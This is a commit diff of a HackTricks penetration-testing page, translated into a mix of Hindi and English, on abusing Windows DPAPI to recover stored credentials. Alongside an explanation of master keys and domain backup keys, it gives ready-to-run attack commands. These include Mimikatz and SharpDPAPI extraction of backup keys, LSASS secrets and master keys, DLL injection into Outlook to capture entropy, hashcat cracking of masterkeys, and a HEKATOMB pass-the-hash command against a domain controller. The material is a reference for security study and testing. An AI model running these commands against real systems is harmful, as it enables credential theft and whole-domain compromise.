Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

This commit is contained in:
Translator 2025-09-05 14:50:44 +00:00
parent 979f3db161
commit 6b3cb12c59

View File

@ -2,35 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## DPAPI क्या है
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर **असामान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा प्रबंधित करने की आवश्यकता को समाप्त कर देता है।
The Data Protection API (DPAPI) का उपयोग मुख्य रूप से Windows ऑपरेटिंग सिस्टम में symmetric encryption of asymmetric private keys के लिए किया जाता है, जो user या system secrets को entropy के एक महत्वपूर्ण स्रोत के रूप में उपयोग करता है। यह तरीका डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है क्योंकि यह उन्हें user's logon secrets से निकले हुए key या system encryption के लिए system के domain authentication secrets से निकले हुए key का उपयोग करके डेटा एन्क्रिप्ट करने की अनुमति देता है, इस प्रकार डेवलपर्स को एन्क्रिप्शन key की सुरक्षा स्वयं प्रबंधित करने की आवश्यकता समाप्त कर देता है।
DPAPI का उपयोग करने का सबसे सामान्य तरीका **`CryptProtectData` और `CryptUnprotectData`** फ़ंक्शंस के माध्यम से है, जो अनुप्रयोगों को वर्तमान में लॉग इन किए गए प्रक्रिया के सत्र के साथ डेटा को सुरक्षित रूप से एन्क्रिप्ट और डिक्रिप्ट करने की अनुमति देते हैं। इसका मतलब है कि एन्क्रिप्ट किया गया डेटा केवल उसी उपयोगकर्ता या सिस्टम द्वारा डिक्रिप्ट किया जा सकता है जिसने से एन्क्रिप्ट किया था।
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, जो applications को उस process के session के साथ securely डेटा एन्क्रिप्ट और डिक्रिप्ट करने की अनुमति देते हैं जो वर्तमान में logged on है। इसका मतलब है कि एन्क्रिप्ट किया गया डेटा केवल उसी user या system द्वारा डिक्रिप्ट किया जा सकता है जिसने से एन्क्रिप्ट किया था।
इसके अलावा, ये फ़ंक्शंस एक **`entropy` पैरामीटर** को भी स्वीकार करते हैं, जिसका उपयोग एन्क्रिप्शन और डिक्रिप्शन के दौरान किया जाएगा, इसलिए, इस पैरामीटर का उपयोग करके एन्क्रिप्ट की गई किसी चीज़ को डिक्रिप्ट करने के लिए, आपको वही एंट्रॉपी मान प्रदान करना होगा जो एन्क्रिप्शन के दौरान उपयोग किया गया था।
Moreover, these functions accepts also an **`entropy` parameter** जिसका उपयोग encryption और decryption के दौरान भी किया जाता है; इसलिए, किसी चीज़ को डिक्रिप्ट करने के लिए जिसे इस parameter का उपयोग करके एन्क्रिप्ट किया गया था, आपको वही entropy value प्रदान करनी होगी जिसका उपयोग एन्क्रिप्शन के समय किया गया था।
### उपयोगकर्ताओं की कुंजी उत्पन्न करना
### Users की key जनरेशन
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः एक SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**।
DPAPI प्रत्येक user के लिए उनके credentials के आधार पर एक unique key (जिसे **`pre-key`** कहा जाता है) जनरेट करता है। यह key user's password और अन्य फैक्टर्स से निकाली जाती है और algorithm user के प्रकार पर निर्भर करता है पर अंततः यह SHA1 होती है। उदाहरण के लिए, domain users के लिए, **यह user के NTLM hash पर निर्भर करता है**।
यह विशेष रूप से दिलचस्प है क्योंकि यदि एक हमलावर उपयोगकर्ता के पासवर्ड हैश को प्राप्त कर सकता है, तो वे:
यह विशेष रूप से दिलचस्प है क्योंकि अगर attacker user का password hash प्राप्त कर लेता है, तो वे:
- **DPAPI का उपयोग करके एन्क्रिप्ट किए गए किसी भी डेटा को डिक्रिप्ट कर सकते हैं** उस उपयोगकर्ता की कुंजी के साथ बिना किसी API से संपर्क किए
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफलाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
- **DPAPI का उपयोग करके एन्क्रिप्ट किए गए किसी भी डेटा को** उस user's key के साथ डिक्रिप्ट कर सकते हैं बिना किसी API से संपर्क किए
- ऑफ़लाइन वैध DPAPI key जनरेट करने की कोशिश करके **crack the password** कर सकते हैं
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक नया **मास्टर कुंजी** उत्पन्न होता है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (ग्लोबली यूनिक आइडेंटिफायर) दिया जाता है जो इसे पहचानता है।
इसके अलावा, हर बार जब कोई user DPAPI का उपयोग करके कोई डेटा एन्क्रिप्ट करता है, तो एक नया **master key** जनरेट होता है। यह master key ही वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग किया जाता है। प्रत्येक master key को पहचानने के लिए एक **GUID** (Globally Unique Identifier) दिया जाता है।
मास्टर कुंजियाँ **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उस उपयोगकर्ता का सुरक्षा पहचानकर्ता है। मास्टर कुंजी उपयोगकर्ता के **`pre-key`** द्वारा एन्क्रिप्ट की गई है और पुनर्प्राप्ति के लिए एक **डोमेन बैकअप कुंजी** द्वारा भी (इसलिए वही कुंजी 2 अलग-अलग पास द्वारा 2 बार एन्क्रिप्ट की गई है)।
master keys **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** डायरेक्टरी में स्टोर होते हैं, जहाँ `{SID}` उस user का Security Identifier है। master key user's **`pre-key`** द्वारा एन्क्रिप्ट करके स्टोर किया जाता है और recovery के लिए एक **domain backup key** द्वारा भी (इसलिए वही key दो अलग-अलग पास के द्वारा दो बार एन्क्रिप्ट करके स्टोर होती है)।
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
ध्यान दें कि **master key को एन्क्रिप्ट करने के लिए उपयोग किया गया domain key domain controllers में होता है और कभी नहीं बदलता**, इसलिए यदि attacker के पास domain controller तक पहुँच है, तो वे domain backup key प्राप्त कर सकते हैं और domain के सभी users के master keys को डिक्रिप्ट कर सकते हैं।
एन्क्रिप्टेड ब्लॉब्स में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में
एन्क्रिप्ट किए गए blobs में उनके headers के अंदर डेटा एन्क्रिप्ट करने के लिए उपयोग किए गए **master key का GUID** होता है
> [!TIP]
> DPAPI एन्क्रिप्टेड ब्लॉब्स **`01 00 00 00`** से शुरू होते हैं
> DPAPI encrypted blobs starts with **`01 00 00 00`**
मास्टर कुंजियाँ खोजें:
मास्टर keys खोजें:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -39,40 +41,41 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
यह एक उपयोगकर्ता के मास्टर कुंजियों का समूह कैसा दिखेगा:
This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### मशीन/सिस्टम कुंजी निर्माण
### मशीन/सिस्टम की कुंजी निर्माण
यह कुंजी मशीन द्वारा डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। यह **DPAPI_SYSTEM LSA रहस्य** पर आधारित है, जो एक विशेष कुंजी है जिसे केवल SYSTEM उपयोगकर्ता ही एक्सेस कर सकता है। इस कुंजी का उपयोग उस डेटा को एन्क्रिप्ट करने के लिए किया जाता है जिसे सिस्टम स्वयं द्वारा एक्सेस किया जाना आवश्यक है, जैसे मशीन-स्तरीय क्रेडेंशियल या सिस्टम-व्यापी रहस्य
यह वह key है जिसका उपयोग मशीन द्वारा डेटा को encrypt करने के लिए किया जाता है। यह **DPAPI_SYSTEM LSA secret** पर आधारित है, जो एक विशेष key है जिसे केवल SYSTEM user ही access कर सकता है। इस key का उपयोग उन डेटा को encrypt करने के लिए किया जाता है जिन्हें सिस्टम स्वयं द्वारा access करने की आवश्यकता होती है, जैसे कि machine-level credentials या system-wide secrets
ध्यान दें कि ये कुंजियाँ **डोमेन बैकअप नहीं रखतीं** इसलिए ये केवल स्थानीय रूप से उपलब्ध हैं:
ध्यान दें कि इन keys का **domain backup** नहीं होता है इसलिए वे केवल लोकली ही उपलब्ध होते हैं:
- **Mimikatz** इसे access कर सकता है LSA secrets dump करके कमांड चलाकर: `mimikatz lsadump::secrets`
- यह secret registry के अंदर स्टोर होता है, इसलिए एक administrator DACL permissions को modify करके इसे access कर सकता है। registry path है: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** इसे LSA रहस्यों को डंप करने के लिए कमांड का उपयोग करके एक्सेस कर सकता है: `mimikatz lsadump::secrets`
- रहस्य रजिस्ट्री के अंदर संग्रहीत है, इसलिए एक व्यवस्थापक **इस तक पहुँचने के लिए DACL अनुमतियों को संशोधित कर सकता है**। रजिस्ट्री पथ है: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### DPAPI द्वारा संरक्षित डेटा
DPAPI द्वारा संरक्षित व्यक्तिगत डेटा में शामिल हैं:
- Windows क्रेड्स
- Internet Explorer और Google Chrome के पासवर्ड और ऑटो-कंप्लीशन डेटा
- Outlook और Windows Mail जैसे अनुप्रयोगों के लिए ई-मेल और आंतरिक FTP खाता पासवर्ड
- साझा फ़ोल्डरों, संसाधनों, वायरलेस नेटवर्क और Windows Vault के लिए पासवर्ड, जिसमें एन्क्रिप्शन कुंजियाँ शामिल हैं
- रिमोट डेस्कटॉप कनेक्शनों, .NET पासपोर्ट, और विभिन्न एन्क्रिप्शन और प्रमाणीकरण उद्देश्यों के लिए निजी कुंजियाँ
- क्रेडेंशियल प्रबंधक द्वारा प्रबंधित नेटवर्क पासवर्ड और CryptProtectData का उपयोग करने वाले अनुप्रयोगों में व्यक्तिगत डेटा, जैसे Skype, MSN मैसेंजर, और अधिक
- रजिस्ट्री के अंदर एन्क्रिप्टेड ब्लॉब
- Windows creds
- Internet Explorer and Google Chrome's passwords and auto-completion data
- E-mail and internal FTP account passwords for applications like Outlook and Windows Mail
- Passwords for shared folders, resources, wireless networks, and Windows Vault, including encryption keys
- Passwords for remote desktop connections, .NET Passport, and private keys for various encryption and authentication purposes
- Network passwords managed by Credential Manager and personal data in applications using CryptProtectData, such as Skype, MSN messenger, and more
- Encrypted blobs inside the register
- ...
सिस्टम द्वारा संरक्षित डेटा में शामिल हैं:
- Wifi पासवर्ड
- अनुसूचित कार्य पासवर्ड
- Wifi passwords
- Scheduled task passwords
- ...
### मास्टर कुंजी निष्कर्षण विकल्प
### Master key निकालने के विकल्प
- यदि उपयोगकर्ता के पास डोमेन व्यवस्थापक विशेषाधिकार हैं, तो वे **डोमेन बैकअप कुंजी** तक पहुँच सकते हैं ताकि डोमेन में सभी उपयोगकर्ता मास्टर कुंजियों को डिक्रिप्ट किया जा सके:
- यदि user के पास domain admin privileges हैं, तो वे **domain backup key** को access कर सकते हैं ताकि domain में सभी user master keys को decrypt किया जा सके:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -80,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- स्थानीय प्रशासनिक विशेषाधिकारों के साथ, यह **LSASS मेमोरी** तक पहुँचने के लिए संभव है ताकि सभी जुड़े उपयोगकर्ताओं के DPAPI मास्टर कुंजी और SYSTEM कुंजी को निकाला जा सके
- With local admin privileges, it's possible to **LSASS memory तक पहुँच** कर सभी जुड़े हुए उपयोगकर्ताओं के DPAPI master keys और SYSTEM key निकालना संभव है
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषताएँ हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA सीक्रेट** तक पहुँच सकते हैं:
- यदि उपयोगकर्ता के पास local admin privileges हैं, तो वे **DPAPI_SYSTEM LSA secret** तक पहुँच कर machine master keys को decrypt कर सकते हैं:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- यदि उपयोगकर्ता का पासवर्ड या NTLM हैश ज्ञात है, तो आप **उपयोगकर्ता की मास्टर कुंजियों को सीधे डिक्रिप्ट कर सकते हैं**:
- यदि user का password या NTLM hash ज्ञात हो, तो आप **user की master keys को सीधे decrypt कर सकते हैं**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -98,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- यदि आप एक सत्र के अंदर उपयोगकर्ता के रूप में हैं, तो आप DC से **मास्टर कुंजियों को डिक्रिप्ट करने के लिए बैकअप कुंजी** मांग सकते हैं। यदि आप स्थानीय प्रशासक हैं और उपयोगकर्ता लॉग इन है, तो आप इसके लिए **उसका सत्र टोकन चुरा सकते हैं**:
- यदि आप user के रूप में एक session के अंदर हैं, तो DC से **backup key to decrypt the master keys using RPC** माँगा जा सकता है। यदि आप local admin हैं और user logged in है, तो आप इसके लिए **steal his session token** कर सकते हैं:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -106,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## सूची वॉल्ट
## वॉल्ट की सूची
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -114,25 +117,25 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
## DPAPI एन्क्रिप्टेड डेटा तक पहुँचें
## DPAPI एन्क्रिप्टेड डेटा तक पहुँच
### DPAPI एन्क्रिप्टेड डेटा खोजें
सामान्य उपयोगकर्ताओं **द्वारा संरक्षित फ़ाइलें** यहाँ हैं:
सामान्य उपयोगकर्ताओं की **सुरक्षित फ़ाइलें** निम्न स्थानों में होती हैं:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- ऊपर दिए गए पथों में `\Roaming\` को `\Local\` में बदलकर भी जाचें।
- ऊपर दिए गए पथों में `\Roaming\` को `\Local\` में बदलकर भी जाचें।
गणना के उदाहरण:
Enumeration examples:
```bash
dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) फ़ाइल सिस्टम, रजिस्ट्री और B64 ब्लॉब में DPAPI एन्क्रिप्टेड ब्लॉब्स को खोज सकता है:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) DPAPI encrypted blobs को file system, registry और B64 blobs में खोज सकता है:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -147,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
ध्यान दें कि [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (एक ही रिपॉजिटरी से) का उपयोग DPAPI का उपयोग करके कुकीज़ जैसी संवेदनशील डेटा को डिक्रिप्ट करने के लिए किया जा सकता है।
ध्यान दें कि [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (इसी repo से) का उपयोग DPAPI द्वारा cookies जैसी संवेदनशील जानकारी को डिक्रिप्ट करने के लिए किया जा सकता है।
### एक्सेस कुंजी और डेटा
### पहुँच कुंजियाँ और डेटा
- **SharpDPAPI** का उपयोग करें ताकि वर्तमान सत्र से DPAPI एन्क्रिप्टेड फ़ाइलों से क्रेडेंशियल्स प्राप्त किए जा सकें:
- **Use SharpDPAPI** वर्तमान सत्र की DPAPI एन्क्रिप्टेड फ़ाइलों से क्रेडेंशियल प्राप्त करने के लिए:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -160,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **क्रेडेंशियल्स जानकारी प्राप्त करें** जैसे एन्क्रिप्टेड डेटा और guidMasterKey
- **क्रेडेंशियल जानकारी प्राप्त करें** जैसे एन्क्रिप्टेड डेटा और guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -170,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **मास्टरकी तक पहुँच**:
- **masterkeys तक पहुँच**:
RPC का उपयोग करके **डोमेन बैकअप कुंजी** का अनुरोध करने वाले उपयोगकर्ता की मास्टरकी को डिक्रिप्ट करें:
RPC का उपयोग करके उस उपयोगकर्ता की masterkey को डिक्रिप्ट करें जिसने **domain backup key** का अनुरोध किया था:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -180,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
**SharpDPAPI** टूल मास्टरकी डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह संभव है `/rpc` का उपयोग करके डोमेन का बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, या `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना...):
**SharpDPAPI** टूल masterkey को डिक्रिप्ट करने के लिए इन arguments को भी सपोर्ट करता है (ध्यान दें कि `/rpc` का उपयोग domains का backup key प्राप्त करने के लिए, `/password` का उपयोग plaintext password इस्तेमाल करने के लिए, या `/pvk` का उपयोग DPAPI domain private key फ़ाइल निर्दिष्ट करने के लिए किय जा सकता है...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -192,7 +195,7 @@ SharpDPAPI.exe masterkeys /rpc
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **एक मास्टरकी का उपयोग करके डेटा को डिक्रिप्ट करें**:
- **data को masterkey का उपयोग करके Decrypt करें**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -200,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना संभव है...):
The **SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए भी इन arguments का समर्थन करता है (ध्यान दें कि `/rpc` का उपयोग domain का backup key प्राप्त करने के लिए, `/password` का उपयोग plaintext password के लिए, `/pvk` एक DPAPI domain private key फ़ाइल निर्दिष्ट करने के लिए, और `/unprotect` वर्तमान यूज़र के session का उपयोग करने के लिए किया जा सकता है...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -219,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- **वर्तमान उपयोगकर्ता सत्र** का उपयोग करके कुछ डेटा को डिक्रिप्ट करें:
- कुछ डेटा को **वर्तमान उपयोगकर्ता सत्र** का उपयोग करके डिक्रिप्ट करें:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -227,12 +230,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### वैकल्पिक एंट्रॉपी ("तीसरे पक्ष की एंट्रॉपी")
### वैकल्पिक **Entropy** ("Third-party entropy") को संभालना
कुछ एप्लिकेशन `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार से सुरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)
कुछ एप्लिकेशन `CryptProtectData` को एक अतिरिक्त **entropy** मान देती हैं। इस मान के बिना blob को डिक्रिप्ट नहीं किया जा सकता, भले ही सही masterkey ज्ञात हो। इसलिए इस तरह संरक्षित क्रेडेंशियल्स (जैसे Microsoft Outlook, कुछ VPN clients) को लक्षित करते समय **entropy** प्राप्त करना अनिवार्य है
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के अंदर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है।
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक user-mode DLL है जो target process के अंदर DPAPI functions को hook करती है और सप्लाई किए गए किसी भी optional **entropy** को पारदर्शी रूप से रिकॉर्ड करती है। EntropyCapture को **DLL-injection** मोड में `outlook.exe` या `vpnclient.exe` जैसे processes के खिलाफ चलाने से एक फाइल आउटपुट होगी जो प्रत्येक **entropy** buffer को कॉल करने वाले process और blob के साथ मैप करती है। कैप्चर की गई **entropy** को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को सप्लाई करके डेटा को डिक्रिप्ट किया जा सकता है।
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -240,9 +242,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
### मास्टरकीज़ को ऑफ़लाइन क्रैक करना (Hashcat & DPAPISnoop)
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जिससे उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति मिलती है। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey फ़ॉर्मेट पेश किया। `hashcat` v6.2.6 (December 2023) ने hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) और **22102** (context 3) जोड़े, जिससे masterkey फ़ाइल से सीधे उपयोगकर्ता पासवर्ड्स की GPU-त्वरित क्रैकिंग संभव हो गई। इसलिए हमलावर लक्षित सिस्टम के साथ इंटरैक्ट किए बिना word-list या brute-force हमले कर सकते हैं
`DPAPISnoop` (2024) इस प्रक्रिया को स्वचालित करता है:
```bash
@ -250,62 +252,64 @@ Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
यह उपकरण Credential और Vault blobs को भी पार्स कर सकता है, उन्हें क्रैक किए गए कुंजियों के साथ डिक्रिप्ट कर सकता है और स्पष्ट पाठ पासवर्ड को निर्यात कर सकता है।
यह टूल Credential और Vault blobs को भी पार्स कर सकता है, उन्हें cracked keys से डिक्रिप्ट करके cleartext पासवर्ड्स एक्सपोर्ट कर सकता है।
### अन्य मशीन डेटा तक पहुँचें
### अन्य मशीन का डेटा एक्सेस करें
**SharpDPAPI और SharpChrome** में आप **`/server:HOST`** विकल्प का संकेत दे सकते हैं ताकि एक दूरस्थ मशीन के डेटा तक पहुँच सकें। बेशक, आपको उस मशीन तक पहुँचने में सक्षम होना चाहिए और निम्नलिखित उदाहरण में यह माना गया है कि **डोमेन बैकअप एन्क्रिप्शन कुंजी ज्ञात है**:
In **SharpDPAPI and SharpChrome** आप रिमोट मशीन के डेटा तक पहुँचने के लिए **`/server:HOST`** ऑप्शन दे सकते हैं। बेशक आपको उस मशीन तक पहुँच होना चाहिए और निम्न उदाहरण में माना गया है कि **डोमेन बैकअप एन्क्रिप्शन की कुंजी ज्ञात है**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
```
## अन्य उपकरण
## अन्य टूल
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) एक उपकरण है जो LDAP निर्देशिका से सभी उपयोगकर्ताओं और कंप्यूटरों के निष्कर्षण और RPC के माध्यम से डोमेन नियंत्रक बैकअप कुंजी के निष्कर्षण को स्वचालित करता है। स्क्रिप्ट फिर सभी कंप्यूटरों के IP पते को हल करेगी और सभी कंप्यूटरों पर smbclient का प्रदर्शन करेगी ताकि सभी उपयोगकर्ताओं के सभी DPAPI ब्लॉब्स को पुनः प्राप्त किया जा सके और सब कुछ डोमेन बैकअप कुंजी के साथ डिक्रिप्ट किया जा सके
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) एक टूल है जो LDAP डायरेक्टरी से सभी उपयोगकर्ताओं और कंप्यूटरों को निकालने और RPC के माध्यम से domain controller backup key एक्स्ट्रैक्ट करने को ऑटोमेट करता है। स्क्रिप्ट फिर सभी कंप्यूटरों के IP पते रेज़ॉल्व करेगी और smbclient चला कर सभी कंप्यूटरों से सभी उपयोगकर्ताओं के सभी DPAPI blobs प्राप्त करेगी और domain backup key से सब कुछ decrypt कर देगी
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
